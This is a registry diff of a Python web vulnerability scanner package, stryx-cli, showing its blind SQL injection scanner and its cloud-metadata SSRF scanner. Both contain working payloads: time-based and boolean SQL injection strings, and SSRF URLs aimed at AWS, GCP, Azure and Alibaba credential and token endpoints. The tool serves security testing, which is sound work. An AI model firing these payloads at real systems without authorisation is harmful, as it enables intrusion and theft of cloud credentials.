stryx-cli 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (74) hide show
  1. stryx/__init__.py +35 -0
  2. stryx/ai/__init__.py +5 -0
  3. stryx/ai/attack_planner.py +199 -0
  4. stryx/ai/payload_generator.py +212 -0
  5. stryx/ai/prompts.py +85 -0
  6. stryx/ai/providers.py +249 -0
  7. stryx/attacks/__init__.py +6 -0
  8. stryx/attacks/attack_chain.py +111 -0
  9. stryx/attacks/replay.py +186 -0
  10. stryx/auth/__init__.py +1 -0
  11. stryx/auth/session_manager.py +335 -0
  12. stryx/cli.py +675 -0
  13. stryx/comparison/__init__.py +1 -0
  14. stryx/comparison/differ.py +255 -0
  15. stryx/config/__init__.py +6 -0
  16. stryx/config/default_config.yaml +12 -0
  17. stryx/config/loader.py +111 -0
  18. stryx/config/schema.py +80 -0
  19. stryx/crawler/__init__.py +5 -0
  20. stryx/crawler/discovery.py +178 -0
  21. stryx/crawler/graphql_discovery.py +86 -0
  22. stryx/crawler/html_crawler.py +294 -0
  23. stryx/crawler/js_endpoints.py +165 -0
  24. stryx/crawler/openapi.py +76 -0
  25. stryx/crawler/sitemap.py +94 -0
  26. stryx/orchestrator.py +347 -0
  27. stryx/payloads/cmdi.txt +31 -0
  28. stryx/payloads/header_injection.txt +15 -0
  29. stryx/payloads/ldap.txt +19 -0
  30. stryx/payloads/nosqli.txt +21 -0
  31. stryx/payloads/open_redirect.txt +23 -0
  32. stryx/payloads/path_traversal.txt +26 -0
  33. stryx/payloads/sqli.txt +31 -0
  34. stryx/payloads/ssrf.txt +30 -0
  35. stryx/payloads/ssti.txt +21 -0
  36. stryx/payloads/xss.txt +48 -0
  37. stryx/payloads/xxe.txt +35 -0
  38. stryx/plugins/__init__.py +5 -0
  39. stryx/plugins/base.py +85 -0
  40. stryx/policy/__init__.py +1 -0
  41. stryx/policy/engine.py +201 -0
  42. stryx/py.typed +0 -0
  43. stryx/reports/__init__.py +5 -0
  44. stryx/reports/generator.py +122 -0
  45. stryx/reports/json_report.py +72 -0
  46. stryx/reports/markdown_report.py +101 -0
  47. stryx/reports/sarif_report.py +200 -0
  48. stryx/reports/templates/report.html.j2 +163 -0
  49. stryx/reports/terminal_report.py +138 -0
  50. stryx/scanners/__init__.py +17 -0
  51. stryx/scanners/auth.py +444 -0
  52. stryx/scanners/authorization.py +220 -0
  53. stryx/scanners/blind.py +328 -0
  54. stryx/scanners/cloud_ssrf.py +208 -0
  55. stryx/scanners/cors.py +158 -0
  56. stryx/scanners/dependencies.py +296 -0
  57. stryx/scanners/disclosure.py +339 -0
  58. stryx/scanners/fuzz.py +391 -0
  59. stryx/scanners/graphql.py +309 -0
  60. stryx/scanners/injection.py +511 -0
  61. stryx/scanners/race.py +257 -0
  62. stryx/signatures/framework_fingerprints.yaml +122 -0
  63. stryx/signatures/known_vulns.yaml +210 -0
  64. stryx/utils/__init__.py +7 -0
  65. stryx/utils/evidence.py +109 -0
  66. stryx/utils/http_client.py +159 -0
  67. stryx/utils/logging.py +51 -0
  68. stryx/utils/rate_limiter.py +37 -0
  69. stryx_cli-0.1.0.dist-info/METADATA +236 -0
  70. stryx_cli-0.1.0.dist-info/RECORD +74 -0
  71. stryx_cli-0.1.0.dist-info/WHEEL +5 -0
  72. stryx_cli-0.1.0.dist-info/entry_points.txt +2 -0
  73. stryx_cli-0.1.0.dist-info/licenses/LICENSE +190 -0
  74. stryx_cli-0.1.0.dist-info/top_level.txt +1 -0
@@ -0,0 +1,328 @@
1
+ """Timing-based blind injection scanner.
2
+
3
+ Detects blind SQL injection, boolean-based blind injection,
4
+ and blind SSRF through response timing analysis and content comparison.
5
+ """
6
+
7
+ from __future__ import annotations
8
+
9
+ import asyncio
10
+ import time
11
+ from dataclasses import dataclass
12
+ from urllib.parse import parse_qs, urlencode, urlparse, urlunparse
13
+
14
+ from stryx.utils.evidence import Evidence, Finding, Severity
15
+ from stryx.utils.http_client import HttpClient
16
+ from stryx.utils.logging import get_logger
17
+
18
+ logger = get_logger("scanner.blind")
19
+
20
+ # Timing thresholds (seconds)
21
+ TIME_DELAY_THRESHOLD = 2.0 # Minimum delay to consider as blind injection
22
+ TIME_TOLERANCE = 0.5 # Tolerance for timing comparison
23
+
24
+ # Boolean blind test pairs: (true_condition, false_condition)
25
+ BOOLEAN_TESTS = [
26
+ (" AND 1=1--", " AND 1=2--"),
27
+ (" OR 1=1--", " OR 1=2--"),
28
+ ("' AND '1'='1'--", "' AND '1'='2'--"),
29
+ ("' OR '1'='1'--", "' OR '1'='2'--"),
30
+ (" AND 1=1", " AND 1=2"),
31
+ (" AND 'a'='a'", " AND 'a'='b'"),
32
+ ]
33
+
34
+ # Time-based blind tests: payloads that cause measurable delays
35
+ TIME_TESTS = [
36
+ # MySQL
37
+ (" AND SLEEP(3)--", "MySQL SLEEP"),
38
+ (" AND BENCHMARK(10000000,SHA1('test'))--", "MySQL BENCHMARK"),
39
+ # PostgreSQL
40
+ ("; SELECT pg_sleep(3)--", "PostgreSQL pg_sleep"),
41
+ # MSSQL
42
+ ("; WAITFOR DELAY '0:0:3'--", "MSSQL WAITFOR DELAY"),
43
+ # Oracle
44
+ (" AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',3)--", "Oracle DBMS_PIPE"),
45
+ # SQLite (no sleep, but we can use a busy loop)
46
+ (" AND (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x WHERE RANDOMBLOB(500000000))>0--", "SQLite busy"),
47
+ ]
48
+
49
+ # Blind SSRF test URLs (internal services that may respond differently)
50
+ BLIND_SSRF_TESTS = [
51
+ ("http://127.0.0.1:80/", "Localhost HTTP"),
52
+ ("http://169.254.169.254/latest/meta-data/", "AWS Metadata"),
53
+ ("http://metadata.google.internal/", "GCP Metadata"),
54
+ ]
55
+
56
+
57
+ @dataclass
58
+ class BlindTestResult:
59
+ """Result of a blind injection test."""
60
+
61
+ vulnerable: bool
62
+ test_type: str
63
+ payload: str
64
+ description: str
65
+ confidence: float
66
+ baseline_time: float = 0.0
67
+ test_time: float = 0.0
68
+ response_diff: str = ""
69
+
70
+
71
+ class BlindScanner:
72
+ """Scanner for timing-based and boolean-based blind injection."""
73
+
74
+ def __init__(self, client: HttpClient):
75
+ self.client = client
76
+
77
+ async def scan(
78
+ self,
79
+ endpoints: list[str],
80
+ base_url: str,
81
+ max_tests_per_endpoint: int = 20,
82
+ ) -> list[Finding]:
83
+ """Run blind injection tests against all endpoints."""
84
+ findings: list[Finding] = []
85
+ logger.info("Running blind injection scanner")
86
+
87
+ for endpoint in endpoints[:10]: # Limit to 10 endpoints
88
+ try:
89
+ # Boolean-based blind tests
90
+ bool_findings = await self._test_boolean_blind(endpoint)
91
+ findings.extend(bool_findings)
92
+
93
+ # Time-based blind tests
94
+ time_findings = await self._test_time_blind(endpoint)
95
+ findings.extend(time_findings)
96
+
97
+ # Blind SSRF tests
98
+ ssrf_findings = await self._test_blind_ssrf(endpoint)
99
+ findings.extend(ssrf_findings)
100
+
101
+ except Exception as e:
102
+ logger.debug(f"Blind test error on {endpoint}: {e}")
103
+
104
+ logger.info(f"Blind scanner found {len(findings)} findings")
105
+ return findings
106
+
107
+ async def _test_boolean_blind(self, endpoint: str) -> list[Finding]:
108
+ """Test for boolean-based blind injection."""
109
+ findings: list[Finding] = []
110
+
111
+ # Get baseline response
112
+ try:
113
+ baseline_response, _ = await self.client.get(endpoint)
114
+ baseline_status = baseline_response.status_code
115
+ baseline_length = len(baseline_response.text)
116
+ baseline_body = baseline_response.text
117
+ except Exception:
118
+ return findings
119
+
120
+ # Parse URL to find injectable parameters
121
+ params = self._get_injectable_params(endpoint)
122
+ if not params:
123
+ return findings
124
+
125
+ for param_name, param_value in params:
126
+ for true_payload, false_payload in BOOLEAN_TESTS[:3]: # Limit tests
127
+ try:
128
+ # Send true condition
129
+ true_url = self._modify_param(endpoint, param_name, param_value + true_payload)
130
+ true_response, _ = await self.client.get(true_url)
131
+
132
+ # Send false condition
133
+ false_url = self._modify_param(endpoint, param_name, param_value + false_payload)
134
+ false_response, _ = await self.client.get(false_url)
135
+
136
+ # Compare responses
137
+ true_len = len(true_response.text)
138
+ false_len = len(false_response.text)
139
+
140
+ # Significant difference between true and false responses
141
+ if (true_response.status_code == baseline_status and
142
+ true_len != false_len and
143
+ abs(true_len - false_len) > 10 and
144
+ abs(true_len - baseline_length) < abs(false_len - baseline_length)):
145
+
146
+ confidence = min(0.9, 0.5 + abs(true_len - false_len) / 1000)
147
+ findings.append(Finding(
148
+ title=f"Boolean-based blind injection in parameter '{param_name}'",
149
+ severity=Severity.HIGH,
150
+ evidence=Evidence(
151
+ request_method="GET",
152
+ request_url=true_url,
153
+ response_status=true_response.status_code,
154
+ response_body=true_response.text[:500],
155
+ response_snippet=f"True: {true_len} chars, False: {false_len} chars",
156
+ payload=true_payload.strip(),
157
+ confidence=confidence,
158
+ ),
159
+ description=(
160
+ f"Boolean-based blind injection detected in parameter '{param_name}'. "
161
+ f"True condition returned {true_len} chars, false returned {false_len} chars."
162
+ ),
163
+ remediation="Use parameterized queries and input validation.",
164
+ cwe="CWE-89",
165
+ owasp="A03:2021 - Injection",
166
+ endpoint=endpoint,
167
+ scanner="blind",
168
+ ))
169
+ break # One finding per parameter
170
+
171
+ except Exception:
172
+ continue
173
+
174
+ return findings
175
+
176
+ async def _test_time_blind(self, endpoint: str) -> list[Finding]:
177
+ """Test for time-based blind injection."""
178
+ findings: list[Finding] = []
179
+
180
+ # Get baseline timing
181
+ try:
182
+ start = time.time()
183
+ baseline_response, _ = await self.client.get(endpoint)
184
+ baseline_time = time.time() - start
185
+ except Exception:
186
+ return findings
187
+
188
+ params = self._get_injectable_params(endpoint)
189
+ if not params:
190
+ return findings
191
+
192
+ for param_name, param_value in params[:3]: # Limit params
193
+ for payload, db_name in TIME_TESTS[:4]: # Limit tests
194
+ try:
195
+ test_url = self._modify_param(endpoint, param_name, param_value + payload)
196
+
197
+ start = time.time()
198
+ test_response, _ = await self.client.get(test_url)
199
+ test_time = time.time() - start
200
+
201
+ # Check if response time is significantly longer
202
+ delay = test_time - baseline_time
203
+ if delay >= TIME_DELAY_THRESHOLD:
204
+ confidence = min(0.95, 0.6 + (delay / 10))
205
+ findings.append(Finding(
206
+ title=f"Time-based blind injection ({db_name}) in parameter '{param_name}'",
207
+ severity=Severity.HIGH,
208
+ evidence=Evidence(
209
+ request_method="GET",
210
+ request_url=test_url,
211
+ response_status=test_response.status_code,
212
+ response_body=test_response.text[:500],
213
+ response_snippet=f"Baseline: {baseline_time:.2f}s, Test: {test_time:.2f}s, Delay: {delay:.2f}s",
214
+ payload=payload.strip(),
215
+ confidence=confidence,
216
+ ),
217
+ description=(
218
+ f"Time-based blind injection detected in parameter '{param_name}' "
219
+ f"using {db_name}. Response delay: {delay:.2f}s (baseline: {baseline_time:.2f}s)."
220
+ ),
221
+ remediation="Use parameterized queries and input validation.",
222
+ cwe="CWE-89",
223
+ owasp="A03:2021 - Injection",
224
+ endpoint=endpoint,
225
+ scanner="blind",
226
+ ))
227
+ break # One finding per parameter
228
+
229
+ except asyncio.TimeoutError:
230
+ # Timeout itself may indicate successful blind injection
231
+ findings.append(Finding(
232
+ title=f"Possible time-based blind injection in parameter '{param_name}'",
233
+ severity=Severity.MEDIUM,
234
+ evidence=Evidence(
235
+ request_method="GET",
236
+ request_url=test_url if 'test_url' in dir() else endpoint,
237
+ response_status=0,
238
+ response_body="Request timed out",
239
+ payload=payload.strip(),
240
+ confidence=0.5,
241
+ ),
242
+ description=(
243
+ f"Request timed out after injection payload in parameter '{param_name}'. "
244
+ f"This may indicate time-based blind injection causing server hang."
245
+ ),
246
+ remediation="Use parameterized queries and input validation.",
247
+ cwe="CWE-89",
248
+ owasp="A03:2021 - Injection",
249
+ endpoint=endpoint,
250
+ scanner="blind",
251
+ ))
252
+ break
253
+ except Exception:
254
+ continue
255
+
256
+ return findings
257
+
258
+ async def _test_blind_ssrf(self, endpoint: str) -> list[Finding]:
259
+ """Test for blind SSRF via timing differences."""
260
+ findings: list[Finding] = []
261
+
262
+ # Get baseline timing
263
+ try:
264
+ start = time.time()
265
+ baseline_response, _ = await self.client.get(endpoint)
266
+ baseline_time = time.time() - start
267
+ except Exception:
268
+ return findings
269
+
270
+ params = self._get_injectable_params(endpoint)
271
+ if not params:
272
+ return findings
273
+
274
+ for param_name, param_value in params[:2]:
275
+ for internal_url, service_name in BLIND_SSRF_TESTS:
276
+ try:
277
+ test_url = self._modify_param(endpoint, param_name, internal_url)
278
+
279
+ start = time.time()
280
+ test_response, _ = await self.client.get(test_url)
281
+ test_time = time.time() - start
282
+
283
+ # Check for timing difference (internal service may respond faster or slower)
284
+ delay = abs(test_time - baseline_time)
285
+ if delay > TIME_DELAY_THRESHOLD:
286
+ confidence = min(0.8, 0.4 + (delay / 10))
287
+ findings.append(Finding(
288
+ title=f"Possible blind SSRF to {service_name} via parameter '{param_name}'",
289
+ severity=Severity.HIGH,
290
+ evidence=Evidence(
291
+ request_method="GET",
292
+ request_url=test_url,
293
+ response_status=test_response.status_code,
294
+ response_body=test_response.text[:500],
295
+ response_snippet=f"Baseline: {baseline_time:.2f}s, Test: {test_time:.2f}s",
296
+ payload=internal_url,
297
+ confidence=confidence,
298
+ ),
299
+ description=(
300
+ f"Possible blind SSRF detected. Request to {service_name} via "
301
+ f"parameter '{param_name}' caused a {delay:.2f}s timing difference."
302
+ ),
303
+ remediation="Validate and sanitize URLs. Block internal IP ranges.",
304
+ cwe="CWE-918",
305
+ owasp="A10:2021 - Server-Side Request Forgery",
306
+ endpoint=endpoint,
307
+ scanner="blind",
308
+ ))
309
+ break # One finding per parameter
310
+
311
+ except Exception:
312
+ continue
313
+
314
+ return findings
315
+
316
+ def _get_injectable_params(self, url: str) -> list[tuple[str, str]]:
317
+ """Extract injectable parameters from a URL."""
318
+ parsed = urlparse(url)
319
+ params = parse_qs(parsed.query)
320
+ return [(k, v[0] if v else "") for k, v in params.items()]
321
+
322
+ def _modify_param(self, url: str, param_name: str, new_value: str) -> str:
323
+ """Modify a URL parameter value."""
324
+ parsed = urlparse(url)
325
+ params = parse_qs(parsed.query)
326
+ params[param_name] = [new_value]
327
+ new_query = urlencode(params, doseq=True)
328
+ return urlunparse(parsed._replace(query=new_query))
@@ -0,0 +1,208 @@
1
+ """Cloud metadata SSRF scanner.
2
+
3
+ Tests for Server-Side Request Forgery targeting cloud provider
4
+ metadata endpoints (AWS, GCP, Azure, DigitalOcean, Kubernetes).
5
+ """
6
+
7
+ from __future__ import annotations
8
+
9
+ from urllib.parse import parse_qs, urlencode, urlparse, urlunparse
10
+
11
+ from stryx.utils.evidence import Evidence, Finding, Severity
12
+ from stryx.utils.http_client import HttpClient
13
+ from stryx.utils.logging import get_logger
14
+
15
+ logger = get_logger("scanner.cloud_ssrf")
16
+
17
+ # Cloud metadata endpoints with detection patterns
18
+ CLOUD_METADATA_ENDPOINTS = [
19
+ # AWS
20
+ {
21
+ "provider": "AWS",
22
+ "urls": [
23
+ "http://169.254.169.254/latest/meta-data/",
24
+ "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
25
+ "http://169.254.169.254/latest/user-data/",
26
+ ],
27
+ "patterns": ["ami-id", "instance-id", "iam", "security-credentials", "local-hostname"],
28
+ "severity": Severity.CRITICAL,
29
+ },
30
+ # GCP
31
+ {
32
+ "provider": "GCP",
33
+ "urls": [
34
+ "http://metadata.google.internal/computeMetadata/v1/",
35
+ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
36
+ "http://metadata.google.internal/computeMetadata/v1/project/project-id",
37
+ ],
38
+ "patterns": ["computeMetadata", "instance", "service-accounts", "project-id"],
39
+ "headers": {"Metadata-Flavor": "Google"},
40
+ "severity": Severity.CRITICAL,
41
+ },
42
+ # Azure
43
+ {
44
+ "provider": "Azure",
45
+ "urls": [
46
+ "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
47
+ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
48
+ ],
49
+ "patterns": ["compute", "network", "subscriptionId", "vmId", "access_token"],
50
+ "headers": {"Metadata": "true"},
51
+ "severity": Severity.CRITICAL,
52
+ },
53
+ # DigitalOcean
54
+ {
55
+ "provider": "DigitalOcean",
56
+ "urls": [
57
+ "http://169.254.169.254/metadata/v1/",
58
+ "http://169.254.169.254/metadata/v1/hostname",
59
+ "http://169.254.169.254/metadata/v1/user-data",
60
+ ],
61
+ "patterns": ["hostname", "region", "user-data", "droplet_id"],
62
+ "severity": Severity.CRITICAL,
63
+ },
64
+ # Kubernetes
65
+ {
66
+ "provider": "Kubernetes",
67
+ "urls": [
68
+ "https://kubernetes.default.svc/",
69
+ "https://kubernetes.default.svc/api/v1/namespaces",
70
+ "http://10.0.0.1:10255/pods",
71
+ ],
72
+ "patterns": ["apiVersion", "kind", "metadata", "items"],
73
+ "severity": Severity.CRITICAL,
74
+ },
75
+ # Alibaba Cloud
76
+ {
77
+ "provider": "Alibaba Cloud",
78
+ "urls": [
79
+ "http://100.100.100.200/latest/meta-data/",
80
+ "http://100.100.100.200/latest/meta-data/ram/security-credentials/",
81
+ ],
82
+ "patterns": ["instance-id", "ram", "security-credentials"],
83
+ "severity": Severity.CRITICAL,
84
+ },
85
+ ]
86
+
87
+
88
+ class CloudSSRFScanner:
89
+ """Scanner for cloud metadata SSRF vulnerabilities."""
90
+
91
+ def __init__(self, client: HttpClient):
92
+ self.client = client
93
+
94
+ async def scan(
95
+ self,
96
+ endpoints: list[str],
97
+ base_url: str,
98
+ ) -> list[Finding]:
99
+ """Run cloud metadata SSRF tests."""
100
+ findings: list[Finding] = []
101
+ logger.info("Running cloud metadata SSRF scanner")
102
+
103
+ # Find injectable parameters in endpoints
104
+ injectable = self._find_injectable_endpoints(endpoints)
105
+
106
+ for endpoint_config in CLOUD_METADATA_ENDPOINTS:
107
+ for metadata_url in endpoint_config["urls"]:
108
+ for endpoint, param_name, param_value in injectable:
109
+ finding = await self._test_ssrf(
110
+ endpoint, param_name, metadata_url, endpoint_config
111
+ )
112
+ if finding:
113
+ findings.append(finding)
114
+ break # One finding per provider
115
+ if findings and any(f.scanner == "cloud-ssrf" and
116
+ f.evidence.payload == metadata_url
117
+ for f in findings[-1:]):
118
+ break
119
+
120
+ logger.info(f"Cloud SSRF scanner found {len(findings)} findings")
121
+ return findings
122
+
123
+ def _find_injectable_endpoints(
124
+ self, endpoints: list[str]
125
+ ) -> list[tuple[str, str, str]]:
126
+ """Find endpoints with URL-like parameters."""
127
+ injectable = []
128
+
129
+ for endpoint in endpoints:
130
+ parsed = urlparse(endpoint)
131
+ params = parse_qs(parsed.query)
132
+
133
+ for param_name, values in params.items():
134
+ value = values[0] if values else ""
135
+ # Check if parameter looks like a URL
136
+ if (value.startswith("http") or
137
+ param_name.lower() in ("url", "href", "link", "src", "redirect",
138
+ "next", "return", "callback", "webhook",
139
+ "fetch", "load", "proxy", "target")):
140
+ injectable.append((endpoint, param_name, value))
141
+
142
+ return injectable
143
+
144
+ async def _test_ssrf(
145
+ self,
146
+ endpoint: str,
147
+ param_name: str,
148
+ metadata_url: str,
149
+ provider_config: dict,
150
+ ) -> Finding | None:
151
+ """Test a specific SSRF vector against a cloud metadata endpoint."""
152
+ try:
153
+ # Build test URL with metadata URL as parameter
154
+ parsed = urlparse(endpoint)
155
+ params = parse_qs(parsed.query)
156
+ params[param_name] = [metadata_url]
157
+ test_url = urlunparse(parsed._replace(query=urlencode(params, doseq=True)))
158
+
159
+ # Send request
160
+ extra_headers = provider_config.get("headers", {})
161
+ response, evidence = await self.client.get(test_url, headers=extra_headers)
162
+
163
+ # Check if response contains cloud metadata patterns
164
+ body = response.text.lower()
165
+ patterns = provider_config["patterns"]
166
+
167
+ matched_patterns = [p for p in patterns if p.lower() in body]
168
+
169
+ if matched_patterns and response.status_code == 200:
170
+ provider = provider_config["provider"]
171
+ severity = provider_config["severity"]
172
+
173
+ evidence.confidence = min(0.95, 0.6 + len(matched_patterns) * 0.1)
174
+ evidence.payload = metadata_url
175
+ evidence.response_snippet = (
176
+ f"Cloud provider: {provider}\n"
177
+ f"Matched patterns: {', '.join(matched_patterns)}\n"
178
+ f"Response preview: {response.text[:300]}"
179
+ )
180
+
181
+ return Finding(
182
+ title=f"Cloud metadata SSRF to {provider} endpoint",
183
+ severity=severity,
184
+ evidence=evidence,
185
+ description=(
186
+ f"Server-Side Request Forgery to {provider} metadata endpoint detected. "
187
+ f"The application fetches {metadata_url} via parameter '{param_name}', "
188
+ f"exposing cloud credentials and instance metadata. "
189
+ f"Matched patterns: {', '.join(matched_patterns)}."
190
+ ),
191
+ remediation=(
192
+ "1. Block requests to internal/private IP ranges (169.254.0.0/16, 10.0.0.0/8, "
193
+ "172.16.0.0/12, 192.168.0.0/16)\n"
194
+ "2. Validate and whitelist allowed URL schemes (only https)\n"
195
+ "3. Use IMDSv2 on AWS (requires session token)\n"
196
+ "4. Implement network-level controls to block metadata access"
197
+ ),
198
+ cwe="CWE-918",
199
+ owasp="A10:2021 - Server-Side Request Forgery",
200
+ endpoint=endpoint,
201
+ scanner="cloud-ssrf",
202
+ tags=["ssrf", "cloud", provider.lower(), "critical"],
203
+ )
204
+
205
+ except Exception as e:
206
+ logger.debug(f"Cloud SSRF test error: {e}")
207
+
208
+ return None